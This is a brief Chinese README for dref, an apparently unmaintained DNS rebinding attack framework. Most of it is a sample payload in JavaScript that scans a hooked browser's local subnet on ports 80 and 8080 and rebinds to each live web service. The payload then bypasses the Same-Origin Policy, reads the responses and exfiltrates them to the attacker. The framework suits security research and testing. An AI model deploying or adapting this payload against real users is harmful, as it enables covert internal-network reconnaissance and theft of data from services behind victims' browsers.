DNS 重绑定利用框架
该项目已不再维护。
dref 为 DNS 重绑定 处理了繁重的工作。以下来自其内置 payload之一的片段展示了该框架如何从被 hook 的浏览器扫描本地子网;在识别出在线 Web 服务后,它开始窃取 GET 响应,轻松绕过同源策略:
// mainFrame() runs first
async function mainFrame () {
// We use some tricks to derive the browser's local /24 subnet
const localSubnet = await network.getLocalSubnet(24)
// We use some more tricks to scan a couple of ports across the subnet
netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
// We launch the rebind attack on live targets
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// rebindFrame() will have target ip:port as origin
function rebindFrame () {
// After this we'll have bypassed the Same-Origin policy
session.triggerRebind().then(() => {
// We can now read the response across origin...
network.get(session.baseURL, {
successCb: (code, headers, body) => {
// ... and exfiltrate it
session.log({code: code, headers: headers, body: body})
}
})
})
}
前往 Wiki 开始使用,或者查看 dref 攻击无头浏览器 以了解实际用例。
这是一个开发版本 - 请勿用于生产环境